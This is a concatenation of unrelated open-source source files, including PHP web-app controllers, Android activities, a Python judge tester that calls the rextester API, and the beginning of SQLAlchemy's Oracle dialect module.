<?php /* * This file is part of Glue * * (c) madewithlove <heroes@madewithlove.be> * * For the full copyright and license information, please view the LICENSE */ namespace Madewithlove\Glue\Console\Commands; use League\Container\Container; use League\Container\ImmutableContainerAwareInterface; use Madewithlove\Glue\Configuration\ConfigurationInterface; use Madewithlove\Glue\Configuration\DefaultConfiguration; use ReflectionClass; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\TableSeparator; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; class ConfigurationCommand extends Command { /** * @var SymfonyStyle */ protected $output; /** * @var ConfigurationInterface */ protected $configuration; /** * ConfigurationCommand constructor. * * @param ConfigurationInterface $configuration */ public function __construct(ConfigurationInterface $configuration) { parent::__construct(); $this->configuration = $configuration; } /** * {@inheritdoc} */ protected function configure() { $this->setName('config') ->setDescription('Prints out the current configuration') ->addOption('default', null, InputOption::VALUE_NONE, 'Dump the default configuration'); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $this->output = new SymfonyStyle($input, $output); if ($input->getOption('default')) { $this->configuration = new DefaultConfiguration(); } $this->printConfiguration(); $this->printMiddlewares(); $this->printServiceProviders(); } /** * Print the configured options. */ protected function printConfiguration() { $this->title('Configuration'); $values = array_except($this->configuration->toArray(), ['providers', 'middlewares']); $values = array_dot($values); foreach ($values as $key => &$value) { $value = ['<comment>'.$key.'</comment>', $value]; } $this->output->table(['Key', 'Value'], $values); } private function printMiddlewares() { if (!$this->configuration->getMiddlewares()) { return; } $this->title('Middlewares'); $this->output->listing($this->configuration->getMiddlewares()); } /** * Print the current service providers. */ protected function printServiceProviders() { $this->title('Service providers'); $rows = []; foreach ($this->configuration->getServiceProviders() as $provider) { if ($provider instanceof ImmutableContainerAwareInterface) { $provider->setContainer(new Container()); } $parameters = []; $reflection = new ReflectionClass($provider); if ($reflection->getProperties()) { foreach ($reflection->getProperties() as $parameter) { if ($parameter->getName() === 'container') { continue; } // Extract parameter type $doc = $parameter->getDocComment(); preg_match('/.*@(type|var) (.+)\n.*/', $doc, $type); $type = $type[2]; $parameters[] = '<info>'.$parameter->getName().'</info>: '.$type; } } $services = array_keys($provider->getServices()); foreach ($services as $key => $binding) { $services[$key] = is_string($binding) ? ($key + 1).'. <comment>'.$binding.'</comment>' : null; } $rows[] = [ 'provider' => '<comment>'.get_class($provider).'</comment>', 'options' => implode(PHP_EOL, $parameters), 'services' => implode(PHP_EOL, $services), ]; $rows[] = new TableSeparator(); } $this->output->table(['Service Provider', 'Options', 'Services'], array_slice($rows, 0, -1)); } /** * Prints out a pretty title. * * @param string $title */ protected function title($title) { $this->output->block($title, null, 'fg=black;bg=cyan', ' ', false); } }
mit
OkveeNet/fuel-start
fuel/app/classes/controller/account/edit.php
11329
<?php /** * Account edit * * @author Vee W. * @license http://opensource.org/licenses/MIT * */ class Controller_Account_Edit extends \Controller_BaseController { public function action_deleteAvatar() { // get account id from cookie $account = new \Model_Accounts(); $cookie = $account->getAccountCookie(); if (\Input::method() == 'POST') { if (!\Extension\NoCsrf::check()) { // validate token failed $output['form_status'] = 'error'; $output['form_status_message'] = \Lang::get('fslang_invalid_csrf_token'); $output['result'] = false; } else { if (!isset($cookie['account_id']) || \Model_Accounts::isMemberLogin() == false) { $output['result'] = false; } else { $output['result'] = true; $account->deleteAccountAvatar($cookie['account_id']); } } } unset($account, $cookie); if (\Input::is_ajax()) { // re-generate csrf token for ajax form to set new csrf. $output['csrf_html'] = \Extension\NoCsrf::generate(); $response = new \Response(); $response->set_header('Content-Type', 'application/json'); $response->body(json_encode($output)); return $response; } else { if (\Input::referrer() != null && \Input::referrer() != \Uri::main()) { \Response::redirect(\Input::referrer()); } else { \Response::redirect(\Uri::base()); } } }// action_deleteAvatar public function action_index() { // load language \Lang::load('account'); // is user logged in? if (\Model_Accounts::isMemberLogin() == false) { \Response::redirect(\Uri::create('account/login') . '?rdr=' . urlencode(\Uri::main())); } // load config from db. $cfg_values = array('allow_avatar', 'avatar_size', 'avatar_allowed_types'); $config = \Model_Config::getvalues($cfg_values); $output['config'] = $config; // set config data to display in view file. $output['allow_avatar'] = $config['allow_avatar']['value']; $output['avatar_size'] = $config['avatar_size']['value']; $output['avatar_allowed_types'] = $config['avatar_allowed_types']['value']; unset($cfg_values); // read flash message for display errors. this is REQUIRED if you coding the check login with simultaneous login detection on. $form_status = \Session::get_flash('form_status'); if (isset($form_status['form_status']) && isset($form_status['form_status_message'])) { $output['form_status'] = $form_status['form_status']; $output['form_status_message'] = $form_status['form_status_message']; } unset($form_status); // get account id $cookie_account = \Model_Accounts::forge()->getAccountCookie(); // get account data $query = \Model_Accounts::query() ->where('account_id', $cookie_account['account_id']) ->where('account_username', $cookie_account['account_username']) ->where('account_email', $cookie_account['account_email']); if ($query->count() > 0) { // found $row = $query->get_one(); $output['row'] = $row; // loop set data for display in form. foreach ($row as $key => $field) { $output[$key] = $field; } // get account_fields data of current user and send to views form // to access data from view, use $account_field['field_name']. for example: the field_name is phone, just use $account_field['phone']; $account_fields = \Model_AccountFields::getData($cookie_account['account_id']); if ($account_fields->count() > 0) { foreach ($account_fields as $af) { $output['account_field'][$af->field_name] = (\Extension\Str::isJsonFormat($af->field_value) ? json_decode($af->field_value, true) : $af->field_value); } } unset($account_fields, $af); // get timezone list to display. \Config::load('timezone', 'timezone'); $output['timezone_list'] = \Config::get('timezone.timezone', array()); unset($query); } else { // not found account. unset($cookie_account, $query); \Model_Accounts::logout(); \Response::redirect(\Uri::create('account/login') . '?rdr=' . urlencode(\Uri::main())); } // if form submitted if (\Input::method() == 'POST') { // store data for save to db. $data['account_id'] = $cookie_account['account_id']; $data['account_username'] = $cookie_account['account_username'];//trim(\Input::post('account_username'));//no, do not edit username. $data['account_old_email'] = $cookie_account['account_email']; $data['account_email'] = \Security::strip_tags(trim(\Input::post('account_email'))); $data['account_password'] = trim(\Input::post('account_password')); $data['account_new_password'] = trim(\Input::post('account_new_password')); $data['account_display_name'] = \Security::htmlentities(\Input::post('account_display_name')); $data['account_firstname'] = \Security::htmlentities(trim(\Input::post('account_firstname', null))); if ($data['account_firstname'] == null) {$data['account_firstname'] = null;} $data['account_middlename'] = \Security::htmlentities(trim(\Input::post('account_middlename', null))); if ($data['account_middlename'] == null) {$data['account_middlename'] = null;} $data['account_lastname'] = \Security::htmlentities(trim(\Input::post('account_lastname', null))); if ($data['account_lastname'] == null) {$data['account_lastname'] = null;} $data['account_birthdate'] = \Security::strip_tags(trim(\Input::post('account_birthdate', null))); if ($data['account_birthdate'] == null) {$data['account_birthdate'] = null;} $data['account_signature'] = \Security::htmlentities(trim(\Input::post('account_signature', null))); if ($data['account_signature'] == null) {$data['account_signature'] = null;} $data['account_timezone'] = \Security::strip_tags(trim(\Input::post('account_timezone'))); $data['account_language'] = \Security::strip_tags(trim(\Input::post('account_language', null))); if ($data['account_language'] == null) {$data['account_language'] = null;} // store data for account_fields $data_field = array(); if (is_array(\Input::post('account_field'))) { foreach (\Input::post('account_field') as $field_name => $field_value) { if (is_string($field_name)) { if (is_array($field_value)) { $field_value = json_encode($field_value); } $data_field[$field_name] = $field_value; } } } unset($field_name, $field_value); // validate form. $validate = \Validation::forge(); $validate->add_callable(new \Extension\FsValidate()); //$validate->add('account_username', \Lang::get('account_username'), array(), array('required', 'noSpaceBetweenText'));//no, do not edit username. $validate->add('account_email', \Lang::get('account_email'), array(), array('required', 'valid_email')); $validate->add('account_display_name', \Lang::get('account_display_name'), array(), array('required')); $validate->add('account_birthdate', \Lang::get('account_birthdate'))->add_rule('valid_date', 'Y-m-d'); $validate->add('account_timezone', \Lang::get('account_timezone'), array(), array('required')); if (!\Extension\NoCsrf::check()) { // validate token failed $output['form_status'] = 'error'; $output['form_status_message'] = \Lang::get('fslang_invalid_csrf_token'); } elseif (!$validate->run()) { // validate failed $output['form_status'] = 'error'; $output['form_status_message'] = $validate->show_errors(); } else { // save $result = \Model_accounts::memberEditProfile($data, $data_field); if ($result === true) { if (\Session::get_flash('form_status', null, false) == null) { \Session::set_flash( 'form_status', array( 'form_status' => 'success', 'form_status_message' => \Lang::get('account_saved') ) ); } \Response::redirect(\Uri::main()); } else { $output['form_status'] = 'error'; $output['form_status_message'] = $result; } } // re-populate form //$output['account_username'] = trim(\Input::post('account_username'));//no, do not edit username. $output['account_email'] = trim(\Input::post('account_email')); $output['account_display_name'] = trim(\Input::post('account_display_name')); $output['account_firstname'] = trim(\Input::post('account_firstname')); $output['account_middlename'] = trim(\Input::post('account_middlename')); $output['account_lastname'] = trim(\Input::post('account_lastname')); $output['account_birthdate'] = trim(\Input::post('account_birthdate')); $output['account_signature'] = trim(\Input::post('account_signature')); $output['account_timezone'] = trim(\Input::post('account_timezone')); $output['account_language'] = trim(\Input::post('account_language')); // re-populate form for account fields if (is_array(\Input::post('account_field'))) { foreach (\Input::post('account_field') as $field_name => $field_value) { if (is_string($field_name)) { $output['account_field'][$field_name] = $field_value; } } } unset($field_name, $field_value); } // clear variables unset($cookie_account, $data, $result); // <head> output ---------------------------------------------------------------------------------------------- $output['page_title'] = $this->generateTitle(\Lang::get('account_edit')); // <head> output ---------------------------------------------------------------------------------------------- return $this->generatePage('front/templates/account/edit_v', $output, false); }// action_index }
mit
ptomulik/clxx
src/doc/clxx/mainpage.hpp
4559
// @COPYRIGHT@ // Licensed under MIT license (LICENSE.txt) /** * \mainpage Clxx - c++11 library for OpenCL programmers * * Clxx is a C++ library which exposes OpenCL's functionality in an * object-oriented way. Its goal is to simplify usage of the OpenCL functions * by providing type-safe and easy to use interface. * * Clxx is not just a set of bare wrappers around OpenCL calls. In addition to * several objects and functions provided for accessing the OpenCL * functionality, it also implements additional utilities such as specialized * I/O functions, serialization, and swig-based wrappers to access %clxx from * scripting languages (python). * * To have a first impression, let us present a simple clxx-based * implementation of the well-known program called **clinfo** (see example * \ref platform4.cpp): * * \snippet platform4.cpp Program * * The above program enumerates all OpenCL platforms/devices available on a * host running the program including their properties. Using standard OpenCL * API (in C language) such program usually involves few screens of code. * * In the following paragraphs we'll briefly present basic features of the * %clxx library. * * \par Enums instead of OpenCL constants * * As an OpenCL programmer you've probably noticed that most of the OpenCL's * features, queries, error codes, etc. are identified by numeric constants * (the <tt>CL_...</tt> constants). In %clxx we have replaced these constants * with C++11 enum classes. For each specific set of constants (e.g. error * codes) we provide a separate enum class with appropriate set of values. All * these enums are defined in the header clxx/common/types.hpp. For example, status * codes (including error codes) are covered by clxx::status_t enum class. * * This classification is a first step towards type safety. In addition, it * also allows for specialized functions operating on these identifiers, such * as I/O operators or serialization, for example: * * \code * std::ostream& operator<< (std::ostream& os, clxx::status_t x); * std::ostream& operator<< (std::ostream& os, clxx::platform_info_t x); * ... * \endcode * * \par Exceptions instead of error codes * * Clxx defines extensive (and extensible) hierarchy of exception classes to * represent errors occurring inside calls to %clxx functions/methods. As a * %clxx programmer, you should get familiar with the exception hierarchy and * forget checking OpenCL return codes. See \ref clxx_exceptions for details. * * \par Proxy objects for OpenCL resources * * OpenCL API uses identifiers to represent certain OpenCL resources such as * platforms, devices, contexts, etc.. OpenCL functions are then used to * access these resources. Clxx encapsulates these identifiers with C++ * objects, such that the programmers mostly uses object's interface instead * of raw OpenCL calls. For example, the clxx::platform class wraps the \c * cl_platform_id identifier and implements methods which provide same * functionality as the \c clGetPlatformInfo(). A short code snippet * illustrates this interface: * * \code * clxx::platform const p; * // ... * std::cout << " Id ........ : " << p.get() << std::endl; * std::cout << " Name ...... : " << p.get_name() << std::endl; * std::cout << " Vendor .... : " << p.get_vendor() << std::endl; * std::cout << " Version ... : " << p.get_version() << std::endl; * \endcode * * \par I/O functions * * %Clxx implements several specialized functions to stream-out %clxx objects * or enums in a human-readable form. This may be used for diagnostics, * debugging or to implement user interfaces. The detailed list of the I/O * functions may be found in module \ref clxx_io. With the I/O module, you may * easily dump object internals or print %clxx error codes such as: * * \snippet clxx/io1.cpp OutputStatusT * * \par Serialization * * Some of the %clxx objects are serializable. These objects may be saved to a * file or a stream and reconstructed later. We use * <a href="http://boost.org/doc/libs/release/libs/serialization/"> * boost.serialization</a> as a serialization engine. The %clxx provides * out-of-box support for \c text (\c text_iarchive/\c text_oarchive) , \c xml * (\c xml_iarchive/\c xml_oarchive), and \c binary (\c binary_iarchive/\c * binary_oarchive) boost archives. More details may be found in module * \ref clxx_s11n. * * \par SWIG-based bindings * * \todo Write this paragraph. * * \par Unit tests * * \todo Write this paragraph. * */
mit
pgraham3/postmark_webhooks
server/settings.js
1051
export default { "SendBouncesNotifications": false, "SendOpensNotifications": false, "SendClicksNotifications": false, "SendInboundNotifications": false, "SendDeliveredNotifications": false, "SendViolationsNotifications": false, "SendBouncesToSender": false, "BouncesFromEmailAddress": "pmnotifications+bounces@yourdomain.com", "OpensFromEmailAddress": "pmnotifications+opens@yourdomain.com", "ClicksFromEmailAddress": "pmnotifications+opens@yourdomain.com", "InboundFromEmailAddress": "pmnotifications+inbound@yourdomain.com", "DeliveredFromEmailAddress": "pmnotifications+delivered@yourdomain.com", "OpensToEmailAddress": "email@yourdomain.com", "ClicksToEmailAddress": "email@yourdomain.com", "InboundToEmailAddress": "email@yourdomain.com", "BouncesToEmailAddress": "email@yourdomain.com", "DeliveredToEmailAddress": "email@yourdomain.com", "ViolationsFromEmailAddress": "pmnotifications+violations@yourdomain.com", "ViolationsToEmailAddress": "email@yourdomain.com" }
mit
adityanuar/DicodingAndroidNative1
HitungLuas/app/src/main/java/com/dicoding/hitungluas/MainActivity.java
1803
package com.dicoding.hitungluas; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; public class MainActivity extends AppCompatActivity { private EditText edtPanjang, edtLebar; private Button btnHitung; private TextView txtLuas; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); getSupportActionBar().setTitle("Hitung Luas Persegi Panjang"); edtPanjang = (EditText)findViewById(R.id.edt_panjang); edtLebar = (EditText)findViewById(R.id.edt_lebar); btnHitung = (Button)findViewById(R.id.btn_hitung); txtLuas = (TextView)findViewById(R.id.txt_luas); btnHitung.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { String panjang = edtPanjang.getText().toString().trim(); String lebar = edtLebar.getText().toString().trim(); if(!(panjang.equals("") || panjang.equals(".") || lebar.equals("") || lebar.equals("."))) { double p = Double.parseDouble(panjang); double l = Double.parseDouble(lebar); double luas = p * l; txtLuas.setText("Luas : " + luas); } else { if(panjang.equals("") || panjang.equals(".")){ txtLuas.setText("Luas : ERROR (panjang invalid)"); }else{ txtLuas.setText("Luas : ERROR (lebar invalid)"); } } } }); } }
mit
n1kk/hmsm.js
src/State.ts
4193
import {default as Transition, AnimatedTransitionOptions} from "./AnimatedTransition"; import Emmiter from "./Emitter"; import './_polyfills' export enum StateMemoryMode { None = "none", Deep = "deep", Shallow = "shallow", Inherited = "inherited", } export interface StateOptions { name?: string isDefault?: boolean data?: any tags?: string[] canEnter?: (this: State, from?: State) => Boolean enter?: (this: State, from?: State) => void canLeave?: (this: State, to?: State) => Boolean leave?: (this: State, to?: State) => void enterDefault?: Boolean states?: { [name: string]: StateOptions } transitions?: { [name: string]: AnimatedTransitionOptions } initialState?: string memory?: StateMemoryMode [key: string]: StateOptions | any | (() => void) } const STATE_PREFIX = '_' export class State extends Emmiter { private _current: State private _parent?: State; private _root?: State; private _states?: { [name: string]: State } private _transitions?: { in: { [name: string]: Transition }, out: { [name: string]: Transition } } private _memory?: StateMemoryMode [name: string]: Function | State | any name?: string; data?: any tags?: string[] enter() { } toString() { return this.name } static _tagList ?: { [tagName: string]: State[] } constructor(opts: StateOptions) { super() this.name = opts.name || "deus state machina" this.data = opts.data this.tags = opts.tags opts.canEnter && this.on('canEnter', opts.canEnter) opts.enter && this.on('enter', opts.enter) opts.canLeave && this.on('canLeave', opts.canLeave) opts.leave && this.on('leave', opts.leave) if (opts.memory && opts.memory !== StateMemoryMode.None) this._memory = opts.memory let otherStates: { [name: string]: StateOptions } = {} Object.keys(this) .filter(_ => _[0] === STATE_PREFIX) .forEach(n => otherStates[n] = this[n]) //opts.states = opts.states ? Object.assign(opts.states, otherStates) : otherStates if (opts.states) { let defaultSate for (let name in opts.states) { let stateOpts = opts.states[name] let state = this.addState(name, stateOpts) if (!defaultSate || stateOpts.isDefault) defaultSate = state } if (defaultSate) { if (opts.enterDefault) defaultSate.enter() else this._current = defaultSate } else { throw new Error("No isDefault state was specified " + (opts.name ? `in '${opts.name}'` : '.')) } } if (opts.transitions) { for (let name in opts.transitions) { opts.transitions[name].name = name this.addTransition(opts.transitions[name]) } } } addState(name: string, opts: StateOptions) { let states = this._states || (this._states = {}), state state = new State(opts) state._parent = this state._root = this._root || this states[name] = state return state } addTransition(transOpts: AnimatedTransitionOptions) { let transitions = this._transitions || (this._transitions = {in: {}, out: {}}), transition = new Transition(transOpts), to = Array.isArray(transition.to) ? transition.to : [transition.to], from = Array.isArray(transition.from) ? transition.from : [transition.from], target: State // error checking if (to.length > 1 && from.length > 1 && to.length !== from.length) throw new Error("Transition 'to' and 'from' fields should have " + "equal length if they are arrays > 1") if (this._states) { for (let dest in to) { if (target = this._states[dest]) { transitions.in[dest] = transition } else if (dest === '*') { for (let stateName in this._states) this._states[stateName].addTransition(transOpts) } else { throw new Error(`Unknown state '${dest}' in transition '${transOpts.name}'`) } } } else { throw new Error("Can't add transition when there's no " + "states " + (this.name ? `in '${this.name}'` : '.')) } } current() { return this._current.name } }
mit
aqrln/prymind
wsgi/openshift/prymind/tester.py
1807
from threading import Thread from prymind.models import SubmissionTest from urllib.request import urlopen from urllib.parse import urlencode import json def run(submission): languages = { 'python3': 24, 'pascal': 9, 'c': 6, 'cpp': 7 } source = submission.content language = languages[submission.language] for test in submission.problem.test_set.all(): data_dict = { 'LanguageChoiceWrapper': language, 'Program': source, 'Input': test.input } if language == 6: data_dict['CompilerArgs'] = '-o a.out source_file.c' if language == 7: data_dict['CompilerArgs'] = '-o a.out source_file.cpp' data = urlencode(data_dict).encode('utf-8') with urlopen('http://rextester.com/rundotnet/api', data=data) as stream: response = stream.read().decode('utf-8') result = json.loads(response) acquired_output = result['Result'] expected_output = test.output.replace('\r\n', '\n') if acquired_output and acquired_output[-1] != '\n': acquired_output += '\n' if expected_output[-1] != '\n': expected_output += '\n' if result['Errors']: status = SubmissionTest.COMPILE_ERROR output = 'Помилка компіляції: ' + result['Errors'] elif acquired_output != expected_output: status = SubmissionTest.WRONG_ANSWER output = acquired_output else: status = SubmissionTest.SUCCESS output = acquired_output submission_test = SubmissionTest( submission = submission, test = test, result = status, output = output ) submission_test.save() if submission.result == -1: submission.result = 0 if status == SubmissionTest.SUCCESS: submission.result += test.points submission.save() def spawn(submission): Thread(target=run, args=(submission,)).start()
mit
kingaza/aSpree
app/src/main/java/com/github/kingaza/aspree/MainActivity.java
6444
package com.github.kingaza.aspree; import android.app.Activity; import android.support.v7.app.ActionBarActivity; import android.support.v7.app.ActionBar; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.os.Bundle; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.ViewGroup; import android.support.v4.widget.DrawerLayout; import jp.wasabeef.richeditor.RichEditor; public class MainActivity extends ActionBarActivity implements NavigationDrawerFragment.NavigationDrawerCallbacks { private static final String TAG = "MainActivity"; /** * Fragment managing the behaviors, interactions and presentation of the navigation drawer. */ private NavigationDrawerFragment mNavigationDrawerFragment; /** * Used to store the last screen title. For use in {@link #restoreActionBar()}. */ private CharSequence mTitle; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mNavigationDrawerFragment = (NavigationDrawerFragment) getSupportFragmentManager().findFragmentById(R.id.navigation_drawer); mTitle = getTitle(); // Set up the drawer. mNavigationDrawerFragment.setUp( R.id.navigation_drawer, (DrawerLayout) findViewById(R.id.drawer_layout)); } @Override public void onNavigationDrawerItemSelected(int position) { // update the main content by replacing fragments Fragment fragment; FragmentManager fragmentManager = getSupportFragmentManager(); switch (position) { case 0: fragmentManager.beginTransaction() .replace(R.id.container, new ProductFragment()) .commit(); break; case 1: fragmentManager.beginTransaction() .replace(R.id.container, new TaxonomyFragment()) .commit(); break; case 2: fragmentManager.beginTransaction() .replace(R.id.container, new CountryFragment()) .commit(); break; case 3: fragmentManager.beginTransaction() .replace(R.id.container, new VariantFragment()) .commit(); break; case 4: fragmentManager.beginTransaction() .replace(R.id.container, new RichEditFragment()) .commit(); break; default: fragmentManager.beginTransaction() .replace(R.id.container, PlaceholderFragment.newInstance(position + 1)) .commit(); } } public void onSectionAttached(int number) { switch (number) { case 1: mTitle = getString(R.string.title_section1); break; case 2: mTitle = getString(R.string.title_section2); break; case 3: mTitle = getString(R.string.title_section3); break; case 4: mTitle = getString(R.string.title_section4); break; case 5: mTitle = getString(R.string.title_section5); break; } } public void restoreActionBar() { ActionBar actionBar = getSupportActionBar(); actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_STANDARD); actionBar.setDisplayShowTitleEnabled(true); actionBar.setTitle(mTitle); } @Override public boolean onCreateOptionsMenu(Menu menu) { if (!mNavigationDrawerFragment.isDrawerOpen()) { // Only show items in the action bar relevant to this screen // if the drawer is not showing. Otherwise, let the drawer // decide what to show in the action bar. getMenuInflater().inflate(R.menu.main, menu); restoreActionBar(); return true; } return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } /** * A placeholder fragment containing a simple view. */ public static class PlaceholderFragment extends Fragment { /** * The fragment argument representing the section number for this * fragment. */ private static final String ARG_SECTION_NUMBER = "section_number"; private RichEditor mEditor; /** * Returns a new instance of this fragment for the given section * number. */ public static PlaceholderFragment newInstance(int sectionNumber) { PlaceholderFragment fragment = new PlaceholderFragment(); Bundle args = new Bundle(); args.putInt(ARG_SECTION_NUMBER, sectionNumber); fragment.setArguments(args); return fragment; } public PlaceholderFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.fragment_main, container, false); mEditor = (RichEditor) rootView.findViewById(R.id.editor); mEditor.setEditorHeight(200); mEditor.setPlaceholder("Insert text here..."); return rootView; } @Override public void onAttach(Activity activity) { super.onAttach(activity); ((MainActivity) activity).onSectionAttached( getArguments().getInt(ARG_SECTION_NUMBER)); } } }
mit
michaelBenin/sqlalchemy
lib/sqlalchemy/dialects/oracle/base.py
49722
# oracle/base.py # Copyright (C) 2005-2014 the SQLAlchemy authors and contributors <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """ .. dialect:: oracle :name: Oracle Oracle version 8 through current (11g at the time of this writing) are supported. Connect Arguments ----------------- The dialect supports several :func:`~sqlalchemy.create_engine()` arguments which affect the behavior of the dialect regardless of driver in use. * ``use_ansi`` - Use ANSI JOIN constructs (see the section on Oracle 8). Defaults to ``True``. If ``False``, Oracle-8 compatible constructs are used for joins. * ``optimize_limits`` - defaults to ``False``. see the section on LIMIT/OFFSET. * ``use_binds_for_limits`` - defaults to ``True``. see the section on LIMIT/OFFSET. Auto Increment Behavior ----------------------- SQLAlchemy Table objects which include integer primary keys are usually assumed to have "autoincrementing" behavior, meaning they can generate their own primary key values upon INSERT. Since Oracle has no "autoincrement" feature, SQLAlchemy relies upon sequences to produce these values. With the Oracle dialect, *a sequence must always be explicitly specified to enable autoincrement*. This is divergent with the majority of documentation examples which assume the usage of an autoincrement-capable database. To specify sequences, use the sqlalchemy.schema.Sequence object which is passed to a Column construct:: t = Table('mytable', metadata, Column('id', Integer, Sequence('id_seq'), primary_key=True), Column(...), ... ) This step is also required when using table reflection, i.e. autoload=True:: t = Table('mytable', metadata, Column('id', Integer, Sequence('id_seq'), primary_key=True), autoload=True ) Identifier Casing ----------------- In Oracle, the data dictionary represents all case insensitive identifier names using UPPERCASE text. SQLAlchemy on the other hand considers an all-lower case identifier name to be case insensitive. The Oracle dialect converts all case insensitive identifiers to and from those two formats during schema level communication, such as reflection of tables and indexes. Using an UPPERCASE name on the SQLAlchemy side indicates a case sensitive identifier, and SQLAlchemy will quote the name - this will cause mismatches against data dictionary data received from Oracle, so unless identifier names have been truly created as case sensitive (i.e. using quoted names), all lowercase names should be used on the SQLAlchemy side. LIMIT/OFFSET Support -------------------- Oracle has no support for the LIMIT or OFFSET keywords. SQLAlchemy uses a wrapped subquery approach in conjunction with ROWNUM. The exact methodology is taken from http://www.oracle.com/technology/oramag/oracle/06-sep/o56asktom.html . There are two options which affect its behavior: * the "FIRST ROWS()" optimization keyword is not used by default. To enable the usage of this optimization directive, specify ``optimize_limits=True`` to :func:`.create_engine`. * the values passed for the limit/offset are sent as bound parameters. Some users have observed that Oracle produces a poor query plan when the values are sent as binds and not rendered literally. To render the limit/offset values literally within the SQL statement, specify ``use_binds_for_limits=False`` to :func:`.create_engine`. Some users have reported better performance when the entirely different approach of a window query is used, i.e. ROW_NUMBER() OVER (ORDER BY), to provide LIMIT/OFFSET (note that the majority of users don't observe this). To suit this case the method used for LIMIT/OFFSET can be replaced entirely. See the recipe at http://www.sqlalchemy.org/trac/wiki/UsageRecipes/WindowFunctionsByDefault which installs a select compiler that overrides the generation of limit/offset with a window function. .. _oracle_returning: RETURNING Support ----------------- The Oracle database supports a limited form of RETURNING, in order to retrieve result sets of matched rows from INSERT, UPDATE and DELETE statements. Oracle's RETURNING..INTO syntax only supports one row being returned, as it relies upon OUT parameters in order to function. In addition, supported DBAPIs have further limitations (see :ref:`cx_oracle_returning`). SQLAlchemy's "implicit returning" feature, which employs RETURNING within an INSERT and sometimes an UPDATE statement in order to fetch newly generated primary key values and other SQL defaults and expressions, is normally enabled on the Oracle backend. By default, "implicit returning" typically only fetches the value of a single ``nextval(some_seq)`` expression embedded into an INSERT in order to increment a sequence within an INSERT statement and get the value back at the same time. To disable this feature across the board, specify ``implicit_returning=False`` to :func:`.create_engine`:: engine = create_engine("oracle://scott:tiger@dsn", implicit_returning=False) Implicit returning can also be disabled on a table-by-table basis as a table option:: # Core Table my_table = Table("my_table", metadata, ..., implicit_returning=False) # declarative class MyClass(Base): __tablename__ = 'my_table' __table_args__ = {"implicit_returning": False} .. seealso:: :ref:`cx_oracle_returning` - additional cx_oracle-specific restrictions on implicit returning. ON UPDATE CASCADE ----------------- Oracle doesn't have native ON UPDATE CASCADE functionality. A trigger based solution is available at http://asktom.oracle.com/tkyte/update_cascade/index.html . When using the SQLAlchemy ORM, the ORM has limited ability to manually issue cascading updates - specify ForeignKey objects using the "deferrable=True, initially='deferred'" keyword arguments, and specify "passive_updates=False" on each relationship(). Oracle 8 Compatibility ---------------------- When Oracle 8 is detected, the dialect internally configures itself to the following behaviors: * the use_ansi flag is set to False. This has the effect of converting all JOIN phrases into the WHERE clause, and in the case of LEFT OUTER JOIN makes use of Oracle's (+) operator. * the NVARCHAR2 and NCLOB datatypes are no longer generated as DDL when the :class:`~sqlalchemy.types.Unicode` is used - VARCHAR2 and CLOB are issued instead. This because these types don't seem to work correctly on Oracle 8 even though they are available. The :class:`~sqlalchemy.types.NVARCHAR` and :class:`~sqlalchemy.dialects.oracle.NCLOB` types will always generate NVARCHAR2 and NCLOB. * the "native unicode" mode is disabled when using cx_oracle, i.e. SQLAlchemy encodes all Python unicode objects to "string" before passing in as bind parameters. Synonym/DBLINK Reflection ------------------------- When using reflection with Table objects, the dialect can optionally search for tables indicated by synonyms, either in local or remote schemas or accessed over DBLINK, by passing the flag ``oracle_resolve_synonyms=True`` as a keyword argument to the :class:`.Table` construct:: some_table = Table('some_table', autoload=True, autoload_with=some_engine, oracle_resolve_synonyms=True) When this flag is set, the given name (such as ``some_table`` above) will be searched not just in the ``ALL_TABLES`` view, but also within the ``ALL_SYNONYMS`` view to see if this name is actually a synonym to another name. If the synonym is located and refers to a DBLINK, the oracle dialect knows how to locate the table's information using DBLINK syntax (e.g. ``@dblink``). ``oracle_resolve_synonyms`` is accepted wherever reflection arguments are accepted, including methods such as :meth:`.MetaData.reflect` and :meth:`.Inspector.get_columns`. If synonyms are not in use, this flag should be left disabled. DateTime Compatibility ---------------------- Oracle has no datatype known as ``DATETIME``, it instead has only ``DATE``, which can actually store a date and time value. For this reason, the Oracle dialect provides a type :class:`.oracle.DATE` which is a subclass of :class:`.DateTime`. This type has no special behavior, and is only present as a "marker" for this type; additionally, when a database column is reflected and the type is reported as ``DATE``, the time-supporting :class:`.oracle.DATE` type is used. .. versionchanged:: 0.9.4 Added :class:`.oracle.DATE` to subclass :class:`.DateTime`. This is a change as previous versions would reflect a ``DATE`` column as :class:`.types.DATE`, which subclasses :class:`.Date`. The only significance here is for schemes that are examining the type of column for use in special Python translations or for migrating schemas to other database backends. """ import re from sqlalchemy import util, sql from sqlalchemy.engine import default, base, reflection from sqlalchemy.sql import compiler, visitors, expression from sqlalchemy.sql import operators as sql_operators, functions as sql_functions from sqlalchemy import types as sqltypes, schema as sa_schema from sqlalchemy.types import VARCHAR, NVARCHAR, CHAR, \ BLOB, CLOB, TIMESTAMP, FLOAT RESERVED_WORDS = \ set('SHARE RAW DROP BETWEEN FROM DESC OPTION PRIOR LONG THEN '\ 'DEFAULT ALTER IS INTO MINUS INTEGER NUMBER GRANT IDENTIFIED '\ 'ALL TO ORDER ON FLOAT 